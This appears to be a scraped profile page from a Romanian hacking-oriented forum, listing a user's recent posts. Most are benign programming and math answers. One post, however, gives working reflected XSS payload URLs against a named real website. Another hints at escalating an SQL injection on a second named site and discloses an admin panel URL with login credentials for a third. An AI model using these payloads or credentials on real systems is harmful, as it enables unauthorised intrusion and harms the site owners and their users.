Jump to content

tw8

Active Members
  • Content Count

    481
  • Joined

  • Last visited

  • Days Won

    1

tw8 last won the day on November 15 2008

tw8 had the most liked content!

Community Reputation

10 Good

About tw8

  • Rank
    Registered user

Converted

  • Location
    Drobeta Turnu Severin

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. tw8

    PI

    ^ Tocmai rezolvase cineva mai sus. Si eu l-am rezolvat, in 33 de secunde . Folosind Google, se poate chiar mai repede, pentru ca nu mai gandesti deloc.
  2. Desi corect, codul lui begood este destul de incet: 8.5 secunde imi ia mie pe un Pentium M @ 1600 MHz. O solutie mult mai rapida este folosirea unui ciur pentru generarea numerelor prime la inceput. Astfel, se obtine un timp de rulare de 0.04 secunde - de 200 si ceva de ori mai rapid ca cel de mai sus . Cam asa ar arata codul: #include <iostream> #define eprim !NP #define DIM 1000000 bool NP[DIM]; using namespace std; void ciur() { for(int i=3;i<DIM;i+=2) if(eprim[i])for(int j=2*i;j<DIM;j+=i)NP[j]=1; } bool e14(int nr) { int c=14; while(nr&&c>=0)c-=nr%10,nr/=10; ret
  3. Ai gresit la C(30,12). Daca tii neaparat sa faci prin metoda asta, atunci C(30,12) ar fi 3 * 7 * 13 * 19 * 23 * 25 * 29. Totusi, e mult mai la indemana sa folosesti WolframAlpha pentru asta sau chiar calculatorul de la Windows . Rezultatul este, dupa cum a spus si Hertz, -86454177.
  4. Folosindu-ne de inversa functiei H(n), putem lua doar numerele divizibile cu 232792560 - adica cel mai mic multiplu comun al numerelor de la 1 la 20 - si sa verificam daca sunt hexagonale. Asta scuteste de o gramada de calcule inutile . Rezultatul programului meu: Numarul #1: H(1348848) = 3638780505360 Numarul #2: H(5925920) = 70233049766880 Numarul #3: H(7274768) = 105844491632880 Numarul #4: H(8751600) = 153180996368400 Numarul #5: H(9267440) = 171770879039760 Numarul #6: H(11099088) = 246379497764400 Numarul #7: H(11309760) = 255821331205440 Numarul #8: H(12093120) = 292487090575680 Numar
  5. @AlStar: In primul rand, programul tau are o greseala evidenta, si anume considera doar numerele care pot fi scrise ca suma dintre 1 si un cub, din cauza conditiei de oprire . In al doilea rand, chiar daca ii repari aceasta greseala - foarte usor de reparat - mai e ceva. Iei de mai multe ori in vedere aceleasi numar, in cazul in care poate fi scris in mai multe moduri ca suma de cub si patrat. Spre exemplu, numarul 17 poate fi scris ca : 16 + 1 = 4^2 + 1^3 9 + 8 = 3^2 + 2^3 Si, nu in ultimul rand, ai un cod foarte neeficient din punct de vedere al timpului de executie. Un cod mult mai rapid -
  6. Hai sa vin si eu cu 5 melodii: Nimeni Altu - Asa raman Nimeni Altu - Lautarul din beci Vita de Vie - Varza Vita de Vie & Parazitii - Beat mort CTC - Interzis nefumatorilor Sunt intr-o ordine complet intamplatoare. De asemenea, as mai putea adauga inca cel putin 100 de melodii, dar chiar n-am chef .
  7. Reparati si voi vulnerabilitatile: http://www.black-zero.com/modules.php?name=Tutorials&t_op=viewtutorial&tc_id="><script>alert(String.fromCharCode(88,83,83,32,45,32,98,121,32,116,119,56))</script> http://www.black-zero.com/modules.php?name=Tutorials</title><script>alert(String.fromCharCode(88,83,83,32,45,32,98,121,32,116,119,56))</script> Mai sunt multe altele.
  8. ^ La compass.ro poti transforma SQLI-ul ala in alta vulnerabilitate - te las sa iti dai seama cum pentru ca gandirea nu strica niciodata. La celalalt, http://www.city-mall.ro/_admin/ , admin:george. Bafta .
  9. tw8

    AutoIT - modulo

    ^ E ok cu mod, doar ca o apelezi ca pe o functie obisnuita: msgbox(0,"",mod(13, 3))
  10. tw8

    C#

    Pentru sfarsit, in loc sa cauti dupa "))", poti cauta dupa "))\r\n", adica "))"+enter.
  11. Cu toate ca e reclama, am intrat pe site si pot sa zic ca e super. Are o gramada de carti folositoare. Merci de link .
  12. Sterge linia pe care iti da eroare si o sa iti mearga. P.S.: Cred ca nu strica sa iti iei un compilator mai nou.
  13. Cam prostesc . Faci niste operatii in plus degeaba. Puteai folosii count: for($i=0;i<count($ex);$i++) P.S.: Sper sa o iei ca pe un sfat, nu ca pe un repros .
  14. Doar de curiozitate ... ce dracu s-a intamplat cu bugurile inregistrate de mine ? Vad ca mi-au disparut si punctele (din aprox 10^3, mai am doar 520) .
×
×
  • Create New...